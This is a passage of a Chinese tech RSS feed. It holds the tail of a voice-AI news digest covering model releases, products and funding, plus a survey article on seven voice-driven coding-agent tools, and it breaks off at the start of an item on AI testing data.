&lt;li&gt;&lt;p&gt;&lt;strong&gt;语音智能体平台 **&lt;/strong&gt;CosyAgent**** 支持自然语言创建 Voice Agent：** 用户可通过自然语言创建具备企业知识、工具调用和实时语音交互能力的智能体，同时兼容 Prompt 与 Workflow 配置，用于智能客服、电话营销等场景。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;音频创作工具 CosyCreative 支持文档转播客与有声内容：&lt;/strong&gt; 用户上传文档、网页链接或文本后，可生成对话播客、多角色有声书等内容，并支持声音复刻与多种音色选择。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=MzA3MTQ0NTUyMw==&amp;amp;mid=2247489183&amp;amp;idx=1&amp;amp;sn=04fe0e76379b896e7d0e23b302591df0&amp;amp;scene=21#wechat_redirect" rel="nofollow" target="_blank" title=""&gt;国内首个 AI 语音平台！CosyVoice Studio 上线&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(@ 阿里语音 AI)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2、字节跳动发布多说话人语音生成模型 **&lt;/strong&gt;SwanTale*&lt;em&gt;**：面向多说话人与复杂音频场景生成，支持指令控制与零样本语音生成&lt;/em&gt;*&lt;/p&gt;

&lt;p&gt;字节跳动 SwanAIGC 团队发布 SwanTale，一种面向多说话人语音与音频生成的统一模型，支持指令驱动（Instruct）和零样本（Zero-Shot）两类生成任务。该模型通过统一架构处理多说话人语音、环境音频等生成需求，并提供对应技术报告与 Demo。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;支持 Instruct 与 Zero-Shot 两类音频生成任务：&lt;/strong&gt; SwanTale 可根据自然语言指令生成包含环境描述、说话人风格和细粒度内容控制的音频，也支持结合参考音频完成零样本生成。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;采用统一多模态音频生成架构：&lt;/strong&gt; 模型引入 SwanVAE 支持多音频模态生成，并结合 Unified MoE 处理多任务与多音频模态建模。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-76f26e49ac8940650eed2d34974d7177b88.png" title="" alt=""&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;加入数据与训练策略优化：&lt;/strong&gt; 项目提出 SwanData-Caption 数据构建流程，通过清洗语音和音频数据、补充合成数据，并生成多层级描述标注用于训练。模型训练阶段结合奖励条件质量控制、Engram 条件控制、课程学习和 GRPO 后训练。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;覆盖复杂多说话人生成场景：&lt;/strong&gt; 实验结果显示，SwanTale 在多项 Instruct 和 Zero-Shot 评测指标中取得较好表现，并支持包含多说话人语音与音频元素的复杂指令生成。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://arxiv.org/abs/2608.02023" rel="nofollow" target="_blank"&gt;https://arxiv.org/abs/2608.02023&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://swanaigc.github.io/" rel="nofollow" target="_blank"&gt;https://swanaigc.github.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(&lt;a href="/SwanAIGC" class="user-mention" title="@SwanAIGC"&gt;&lt;i&gt;@&lt;/i&gt;SwanAIGC&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3、OpenAI 与 Pion 合作构建 Go 语言 Opus 解码器：用于 GPT-Live 全双工语音系统&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-ce8648d43f838692b4e2b6ac61d7e55caa9.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/pion/opus" rel="nofollow" target="_blank"&gt;https://github.com/pion/opus&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(&lt;a href="/juberti" class="user-mention" title="@juberti"&gt;&lt;i&gt;@&lt;/i&gt;juberti&lt;/a&gt;@X)&lt;/p&gt;
&lt;h2 id="02 有亮点的产品"&gt;&lt;strong&gt;02 有亮点的产品&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1、千问 App 更新语音通话能力：支持多场景连续语音交互&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;千问 App 更新语音通话功能，新增 7×24 小时在线语音陪伴能力，覆盖互动陪玩、睡前故事、带娃讲题、语音打车等场景。此次更新重点提升语音交互体验，包括更自然的声音表现和面向不同场景的对话能力。&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=MzYzNDE5MDEwMQ==&amp;amp;mid=2247488266&amp;amp;idx=1&amp;amp;sn=3a1988ba0710abcefba9c9dd282b464e&amp;amp;poc_token=HICTdWqj0eRR4iyEiFJBPZLIW4FsN8Iil6Tcns2s&amp;amp;scene=21#wechat_redirect" rel="nofollow" target="_blank" title=""&gt;今天，千问功能上新 &lt;/a&gt;&lt;/p&gt;

&lt;p&gt;（@ 千问）&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2、OpenAI 首款 AI 硬件曝光：甜甜圈形无屏幕智能音箱，预计售价 300–400 美元&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-a5982b7d861ff341ebc19d315b5708c735c.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;OpenAI 计划推出一款外观像甜甜圈的新型智能硬件设备。该产品被定位为「AI 原生计算机」，预计将于明年正式发布，售价可能在 300 美元至 400 美元之间（约合人民币 2150 元至 2870 元）。该设备由 OpenAI 与 Jony Ive 创办的 LoveFrom 工作室合作设计。其外观呈圆环状，尺寸与冰球相当，采用高品质金属材质，旨在方便用户单手握持并在家中随身携带。与传统的智能音箱不同，该设备不配备显示屏，但包含可移动的机械部件。这些部件能够根据交互状态自主摆动，以赋予设备类似于「生命」的个性化反馈。&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.bloomberg.com/news/articles/2026-08-06/what-is-openai-s-device-a-doughnut-shaped-speaker-that-costs-over-300" rel="nofollow" target="_blank"&gt;https://www.bloomberg.com/news/articles/2026-08-06/what-is-openai-s-device-a-doughnut-shaped-speaker-that-costs-over-300&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(&lt;a href="/Bloomblerg" class="user-mention" title="@Bloomblerg"&gt;&lt;i&gt;@&lt;/i&gt;Bloomblerg&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3、UNITH 发布 DEVA-1 Alpha：根据语音情绪、语调与节奏实时驱动数字人面部表情&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-3b133cb0a3a74ed9482066ab2f7a7cb16dd.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;UNITH 推出 DEVA-1 AI 数字人模型，面向实时数字人交互场景，重点提升面部表情、微表情和情绪表达能力。该模型通过实时生成完整面部表现，使数字人从传统口型同步和预制动画，转向更自然的动态表情交互。(unith.ai)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;实时生成面部表情与情绪变化&lt;/strong&gt;：DEVA-1 不仅驱动嘴部动作和语音同步，而是实时生成完整面部状态，包括表情变化、微动作和情绪表达，用于增强数字人的自然交互能力。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;从语音驱动动画升级为 AI 原生数字人表现层&lt;/strong&gt;：传统数字人通常依赖固定动作库或嘴型匹配，DEVA-1 聚焦面部动态生成，让数字人能够根据对话内容呈现更加连续的视觉反馈。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;支持企业级交互式数字人部署&lt;/strong&gt;：UNITH 平台提供数字人创建、API 集成和工作流接入能力，可将数字人嵌入网站、应用和企业业务流程，用于客服、培训、销售和内部协作场景。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;结合语音克隆与数字人定制能力&lt;/strong&gt;：平台支持创建自定义数字人，包括面部形象、声音以及交互行为配置，可用于品牌代表、培训角色和虚拟助手等场景。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://www.unith.ai/lp/deva-1" rel="nofollow" target="_blank"&gt;https://www.unith.ai/lp/deva-1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(&lt;a href="/UNITH" class="user-mention" title="@UNITH"&gt;&lt;i&gt;@&lt;/i&gt;UNITH&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4、Omilia 完成 6700 万美元 B 轮融资：扩展 AI 客户服务平台与语音智能体能力&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-a7e22966ab156ff032b4e77fad867778f33.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;Omilia 完成 6700 万美元 B 轮融资，由 Expedition Growth Capital 领投，用于扩展其 AI 客户服务平台业务。该公司长期专注语音客服自动化，并正在构建覆盖不同客户触点的自学习智能体平台。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;融资 6700 万美元用于全球扩张：&lt;/strong&gt; 本轮融资由 Expedition Growth Capital 领投，Omilia 表示将利用资金扩大北美市场业务和商业团队；公司自 2020 年融资以来 ARR 增长至 6000 万美元。公司计划利用资金扩大北美市场业务和商业团队。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;构建自学习客户服务智能体：&lt;/strong&gt; Omilia 正从传统语音客服自动化扩展到可跨客户触点工作的自学习智能体平台，覆盖电话、聊天和消息等交互渠道。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;ARR 增长至 6000 万美元：&lt;/strong&gt; 自 2020 年融资以来，年度经常性收入（ARR）增长 10 倍，达到 6000 万美元。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;语音 AI 已部署于企业客服场景：&lt;/strong&gt; Omilia 客户包括 Capital One、Discover、RBC、DWP、PSEG 等企业，并已在 Taco Bell 超过 1000 家门店部署语音点单技术。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(&lt;a href="/TechCrunch" class="user-mention" title="@TechCrunch"&gt;&lt;i&gt;@&lt;/i&gt;TechCrunch&lt;/a&gt;)&lt;/p&gt;
&lt;h2 id="03 有态度的观点"&gt;&lt;strong&gt;03 有态度的观点&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1、字节讨论训超 5 万亿参数模型，张一鸣：不蒸馏、别被 Coding 这种短期热点影响&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-e9f384a9ef17cbb7693df566c2b32b672c6.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;字节跳动创始人张一鸣近日在 Seed 团队会议上表示，即使公司暂时落后于竞争对手，也不会依赖 AI 蒸馏技术来改进自身模型，而是坚持通过自主研发提升模型能力。&lt;/p&gt;

&lt;p&gt;所谓「蒸馏」，通常指利用更先进模型的输出结果训练另一个模型，以较低成本获得接近前沿模型的能力。这种方式已经成为行业中提升模型性能的重要手段，但也引发了关于模型创新和能力来源的讨论。&lt;/p&gt;

&lt;p&gt;当前 AI 竞争正在从单纯追求模型参数规模，转向数据、训练方法、基础设施和长期研发能力的综合竞争。相比快速复制已有能力，如何建立持续迭代的模型研发体系，可能决定下一阶段 AI 公司的竞争壁垒。&lt;/p&gt;

&lt;p&gt;值得注意的是，模型蒸馏本身已经成为行业普遍采用的方法。包括 Anthropic 在内的多家 AI 公司都曾指控其他机构可能对其模型进行蒸馏，但这一技术路线仍存在大量争议。&lt;/p&gt;

&lt;p&gt;张一鸣的判断背后，是对 AI 长期竞争逻辑的另一种理解：真正的领先优势，不只是获得当前最强模型的能力，而是持续创造下一代模型的能力。&lt;/p&gt;

&lt;p&gt;（ &lt;a href="/latepostnews" class="user-mention" title="@latepostnews"&gt;&lt;i&gt;@&lt;/i&gt;latepostnews&lt;/a&gt;@X）&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-45a6abb9d89af3ecb68251c16f44d9061ec.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-cd5380de1494cd62d22a342f3ae0f285fd4.jpg" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.rtecommunity.dev" rel="nofollow" target="_blank" title=""&gt;阅读更多 Voice Agent 学习笔记：了解最懂 AI 语音的头脑都在思考什么&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;写在最后：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;我们欢迎更多的小伙伴参与 &lt;strong&gt;「RTE 开发者日报」&lt;/strong&gt; 内容的共创，感兴趣的朋友请通过开发者社区或公众号留言联系，记得报暗号「共创」。&lt;/p&gt;

&lt;p&gt;对于任何反馈（包括但不限于内容上、形式上）我们不胜感激、并有小惊喜回馈，例如你希望从日报中看到哪些内容；自己推荐的信源、项目、话题、活动等；或者列举几个你喜欢看、平时常看的内容渠道；内容排版或呈现形式上有哪些可以改进的地方等。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-e2bd2f67573f9bd8a665446c5391e198866.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;作者提示: 个人观点，仅供参考&lt;/p&gt;</description>
      <author>RTE</author>
      <pubDate>Sat, 08 Aug 2026 22:35:24 +0800</pubDate>
      <link>https://testerhome.com/topics/44594</link>
      <guid>https://testerhome.com/topics/44594</guid>
    </item>
    <item>
      <title>一边语音聊天，一边让 Agent 干活：最火爆的 7 个 Voice Coding Agent 大盘点丨 Voice Agent 学习笔记</title>
      <description>&lt;p&gt;「前台交流、后台工作」，正在成为 Voice AI 近期的一股重要技术与产品思潮，也让实时多模态模型与编程模型找到了一个更自然的交汇点。&lt;/p&gt;

&lt;p&gt;你可以一边和 Coding Agent 说「帮我改一下这个 API 的返回结构」，一边继续追问「进度到哪了」，甚至在它还在运行测试时直接打断补充新需求。前台的对话不断流动，后台的任务也在持续推进，两者同时发生，却互不阻塞。&lt;/p&gt;

&lt;p&gt;这篇 Voice Coding Agent 合集试图对这样的技术趋势做一次梳理，也通过当下批量出现的产品给你一个概览，看看大家都在探索什么，又各自有什么侧重点。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-80fb4b6b808d8396e5aba24300583d7b158.png" title="" alt=""&gt;&lt;/p&gt;
&lt;h2 id="当交互成为智能的一部分"&gt;&lt;strong&gt;当交互成为智能的一部分&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;这类产品并不是最近才有。25 年底到 26 年初，来自语音模型厂商 Elevenlabs 的 11.ai、Deepgram 的 Saga 的实验，已经分别尝试过语音调用工具、理解屏幕和远程管理 Coding Agent。&lt;/p&gt;

&lt;p&gt;但 2026 年这一轮明显加速，与实时交互模型能力的集中提升几乎同步发生。&lt;/p&gt;

&lt;p&gt;5 月，Thinking Machines Lab 发布 &lt;strong&gt;Interaction Models&lt;/strong&gt; 的 demo。它没有再把交互看成模型外部的一层包装，而是让模型持续接收音频、视频和文字，以 micro-turn 处理连续输入输出；需要更长时间推理和工具调用时，则交给异步运行的 background model。用户仍然可以继续说话、补充信息，后台结果完成后再被带回当前对话。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-d7ff8534ef28a9c8b98c0c84f0647b8e66b.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;7 月，OpenAI 发布 &lt;strong&gt;GPT-Live&lt;/strong&gt;。它同样采用全双工架构，并把持续交互和深度工作拆开：GPT-Live 留在前台听和说，搜索、复杂推理和 Agent 任务可以交给后台 GPT-5.5，期间对话不必停下来。随后 ChatGPT Voice 又接入桌面端的 Work 和 Codex，可以直接通过语音启动和协调任务。&lt;/p&gt;

&lt;p&gt;两条路线的技术实现并不完全一样，但都把此前一来一往的「说一句 → 等 Agent 做完 → 看结果」，变成了&lt;strong&gt;前台持续交流、后台持续工作&lt;/strong&gt;。&lt;/p&gt;
&lt;h2 id="从语音输入到全双工协作，6+1 家 Voice Coding Agent 项目汇总"&gt;&lt;strong&gt;从语音输入到全双工协作，6+1 家 Voice Coding Agent 项目汇总&lt;/strong&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SKI：给现有 Coding Agent 加上耳朵和嘴&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://heyski.io/" rel="nofollow" target="_blank"&gt;https://heyski.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;刚刚在 Product Hunt 发布便备受关注的 &lt;strong&gt;SKI&lt;/strong&gt;，做法很直接：不自己做 Coding Agent，而是连接 Claude Code、Codex、Cursor、Gemini CLI、OpenClaw 等已经存在的工具，在它们上面增加一层双向语音。&lt;/p&gt;

&lt;p&gt;用户说话后，SKI 在本地完成 STT，把文字交给 Coding Agent；Agent 继续读文件、改代码、跑测试，返回的文字再由 SKI 在本地说出来。它支持全双工打断：Agent 正在回答时，用户可以直接插话，不需要先按键让它停止。语音输入和输出都可在设备本地运行。&lt;/p&gt;

&lt;p&gt;它还把语音延伸到了多项目和会议场景：多个 repo 可以绑定不同声音；Agent 也可以作为参与者加入 Zoom、Meet 或 Teams，听会、说话、看屏幕，并继续连接相应代码项目。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Qwen-Audio-Agent：Code Agent 语音层的开源版本&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://github.com/QwenAudio/qwen-audio-agent" rel="nofollow" target="_blank"&gt;https://github.com/QwenAudio/qwen-audio-agent&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;7 月底，通义千问语音团队开源了 &lt;strong&gt;Qwen-Audio-Agent&lt;/strong&gt;。它与 SKI 很接近，同样把实时语音层部署在用户和已有 Agent 之间，但把整个中间层直接做成了开源 runtime。&lt;/p&gt;

&lt;p&gt;前台语音 Agent 负责持续交流和简单问题；搜索、长时间推理、代码修改和工具操作，则连同当前上下文委派给后台 Agent。任务运行时，用户仍然可以继续补充要求、查询进度、改变目标或者取消任务，完成后的结果会自动回到原来的语音会话。项目明确支持全双工实时语音、自然打断以及多个后台任务并行运行。&lt;/p&gt;

&lt;p&gt;目前已经适配 OpenCode、OpenClaw、Qoder、Kimi Code、Hermes、CodeBuddy、Codex 和 Claude Code，并通过 ACP 继续扩展其他 Agent；界面则包括 TUI、WebUI 和桌面悬浮球。&lt;/p&gt;

&lt;p&gt;如果说 SKI 是开箱即用的桌面产品，Qwen-Audio-Agent 更像把相同思路完整拆出来：&lt;strong&gt;前台语音、后台 Agent、任务委派和界面都可以继续替换和改造。&lt;/strong&gt;&lt;/p&gt;

&lt;hr&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ChatGPT Voice + Codex：语音直接进入原生任务系统&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://openai.com/index/introducing-gpt-live/" rel="nofollow" target="_blank"&gt;https://openai.com/index/introducing-gpt-live/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-db89fad0f17081cf85f2e7d09b322d526af.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;OpenAI 把 GPT-Live、ChatGPT Voice、Codex 和 Work 放进同一套产品里。&lt;/p&gt;

&lt;p&gt;现在在 ChatGPT 桌面端选择 Codex 或 Work 后，可以直接进入 Voice。用户能够自然插话，也可以要求 Voice 创建任务、查看进展，或者协调正在执行的工作；Voice 会使用当前 Codex / Work 已经拥有的工具和权限。&lt;/p&gt;

&lt;p&gt;底层 GPT-Live 又把实时交流与复杂工作分开：前台继续维持全双工语音，复杂推理和任务则委派给后台模型，因此后台开始工作并不意味着语音会话结束。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Clicky：前台只有一个伙伴，后台可以派出多个 Agent&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://www.heyclicky.com/" rel="nofollow" target="_blank"&gt;https://www.heyclicky.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Farza Majeed 做的 &lt;strong&gt;Clicky&lt;/strong&gt; 并不是专门的 Coding Agent，但它提供了这一波里很特别的一种桌面交互。&lt;/p&gt;

&lt;p&gt;最初的 Clicky 是一个住在鼠标旁边的屏幕助手：用户可以直接开口询问正在使用的软件，它读取当前屏幕，用声音解释，还能直接在屏幕上画箭头指出应该操作的位置。&lt;/p&gt;

&lt;p&gt;5 月底，Farza 又发布了一段基于 &lt;strong&gt;GPT-Realtime 2.0&lt;/strong&gt; 的演示：不用键盘和鼠标，通过持续语音直接打开应用、控制 Spotify、进入 VS Code 和修改代码。Clicky 官网现在也明确把产品分成 &lt;strong&gt;Talk&lt;/strong&gt; 与 &lt;strong&gt;Agents&lt;/strong&gt;：Talk 是持续交流，Agents 则真正去后台执行任务。&lt;/p&gt;

&lt;p&gt;界面上，被派出去工作的 Agent 会进入侧栏。用户并不需要分别打开多个 Agent 的聊天窗口，而是继续面对同一个 Clicky，后台任务则单独显示状态。&lt;/p&gt;

&lt;p&gt;Clicky 更关注&lt;strong&gt;当语音和多个 Agent 同时存在时，桌面界面应该长什么样&lt;/strong&gt;。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Zoku：用语音指挥多个 Coding Agent&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://heyzoku.com/" rel="nofollow" target="_blank"&gt;https://heyzoku.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;如果后台 Agent 已经不是一两个，而是同时跑十个，&lt;strong&gt;Zoku&lt;/strong&gt; 处理的是另一类问题。&lt;/p&gt;

&lt;p&gt;独立开发者 Priyanshu Dangi 把 Claude、Codex、Cursor、Pi 以及其他 CLI Agent 放在同一个 macOS Canvas 中。每个 Agent 可以有自己的名字和工作区，用户通过语音直接创建、重定向或者中断指定 Agent，例如点名让某个 Agent 跑测试，再让另一个处理不同任务。语音命令使用本地 Parakeet 转写。&lt;/p&gt;

&lt;p&gt;Zoku 因此没有把重点放在长时间聊天上，它的语音更像多 Agent 环境里的&lt;strong&gt;指挥与反馈方式&lt;/strong&gt;：名字、状态和声音共同解决「到底哪个 Agent 正在干什么」。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Heard：让多个 Agent 协同运行，用语音汇总成一条清晰叙事&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://heard.dev/" rel="nofollow" target="_blank"&gt;https://heard.dev/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kelly Fraser 做的开源项目 &lt;strong&gt;Heard&lt;/strong&gt; 从输出端切入。它连接 Claude Code、Codex 和 Cursor，监听 Agent 的执行事件，再把值得注意的部分整理成语音，而不是逐行朗读终端。&lt;/p&gt;

&lt;p&gt;Heard 提供不同的信息密度：人在屏幕前时只给简短提示；离开电脑时提供更完整的 briefing；Focus 模式则保持安静，直到出现审批、阻塞、失败或者需要决策的节点。多个 Agent 并行时，它会优先播报重要事件，再把其他进展压缩成项目级摘要。&lt;/p&gt;

&lt;p&gt;手机配对后，语音会跟着用户离开电脑继续播放，用户也能按住说话回复 Agent、批准操作或者调整方向。这里不是持续的全双工聊天，而是一套双向的&lt;strong&gt;状态播报与回应机制&lt;/strong&gt;。&lt;/p&gt;
&lt;h2 id="盘盘不同项目的交互重点"&gt;&lt;strong&gt;盘盘不同项目的交互重点&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;把这些项目放在一起，同样是语音，做的事情已经不太一样：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SKI&lt;/strong&gt; 给现有 Coding Agent 增加完整的语音往返；&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Qwen-Audio-Agent&lt;/strong&gt; 把相似结构开源，并加入前台对话与后台任务的完整 runtime；&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ChatGPT Voice + Codex&lt;/strong&gt; 把实时语音直接做进原生 Agent 系统；&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Clicky&lt;/strong&gt; 在尝试一场前台交流如何生成多个桌面 Agent 任务；&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Zoku&lt;/strong&gt; 用声音控制和调度多个并行运行的 Agent；&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Heard&lt;/strong&gt; 则负责把多个 Agent 的状态重新整理成适合人听的信息。&lt;/p&gt;

&lt;p&gt;整体来看，多家产品共同描绘出一个语音交互与视觉实时理解融合的未来图景，充满想象力；而在当下的落地方案中，也清晰反映出当前能力的边界——语音首先被用来解决意图的表达与确认，以及任务结果的反馈与汇报。&lt;/p&gt;

&lt;p&gt;但更有想象力的未来，就是人机的实时协作和共创：人不再只是下达指令或做最终确认，而是持续参与在任务推进的每一个关键节点中，与 Agent 一起迭代思路、修正路径、共同完成创造过程。&lt;/p&gt;
&lt;h2 id="One More Thing：Disbrief，不妨边散步边编程"&gt;&lt;strong&gt;One More Thing：Disbrief，不妨边散步边编程&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.disbrief.com/#d1-reserve" rel="nofollow" target="_blank"&gt;https://www.disbrief.com/#d1-reserve&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-4fedb378c752815660f9afeda8971e488f6.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;最后推荐的是今年超音速·Physical AI Camp 中孵化支持的硬件项目 &lt;strong&gt;Disbrief&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;它把以上提到的类似的多 Voice Coding Agent 工作方式装进了一台随身语音硬件：用户直接通过自然语音提出任务，Disbrief 将任务拆解后派发给 Claude Code、Codex 等多个 Coding Agent 并行处理，再将结果汇总反馈。即便 Disbrief 暂时只支持语音单向输入，硬件的加入打开了更多使用场景的想象空间。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-8b5ea409e67d63fe4009470590a4f7a7a7f.jpg" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;团队由两位成员组成，均曾在 TikTok、Looki 等公司从事研发工作。&lt;/p&gt;

&lt;p&gt;桌面上的 SKI、Qwen-Audio-Agent、Zoku 还假设人至少在电脑附近，拥有 4G 网络的 Disbrief 则把同样的问题带到了走路、通勤和离开屏幕之后：多个 Agent 继续在后台工作，人通过语音保持联系。&lt;/p&gt;

&lt;p&gt;新的 AI 生产力在催生新的硬件载体，而语音交互将会是 AI 硬件最自然的交互方式。&lt;/p&gt;

&lt;p&gt;本文是「Coding Agent 的集体语音时刻」系列的第三篇。阅读前两篇：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=Mzg3NjgwMjUzOQ==&amp;amp;mid=2247519008&amp;amp;idx=1&amp;amp;sn=58274204f34f65c8582e18c6f73ff465&amp;amp;scene=21#wechat_redirect" rel="nofollow" target="_blank" title=""&gt;全网首拆 ChatGPT Voice for Codex 安装包：当语音成为 Coding Agent 的下一代实时交互入口丨 Voice Agent 学习笔记&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=Mzg3NjgwMjUzOQ==&amp;amp;mid=2247519122&amp;amp;idx=1&amp;amp;sn=843c07565b57631ade92001c70b9c624&amp;amp;scene=21#wechat_redirect" rel="nofollow" target="_blank" title=""&gt;Agent-VUI 设计：写在语音智能体的「ChatGPT 时刻」前夜｜Voice Agent 学习笔记&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-42dacff99b981e9e66c895afc30c7441b06.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-04974fe88e2312a0336a64d068bc1362a73.jpg" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.rtecommunity.dev" rel="nofollow" target="_blank" title=""&gt;阅读更多 Voice Agent 学习笔记：了解最懂 AI 语音的头脑都在思考什么&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-bdb86686e7bb05b57c55e007d87e8ed0339.png" title="" alt=""&gt;&lt;/p&gt;</description>
      <author>RTE</author>
      <pubDate>Sat, 08 Aug 2026 22:09:48 +0800</pubDate>
      <link>https://testerhome.com/topics/44593</link>
      <guid>https://testerhome.com/topics/44593</guid>
    </item>
    <item>
      <title>统一数据层，让测试更智能</title>
      <description>&lt;p&gt;在团队投入任何 AI 测试能力之前，有一个问题值得直截了当地问清楚：这个平台会随着使用次数增加而变得更智能，还是每次运行都从头开始？&lt;/p&gt;

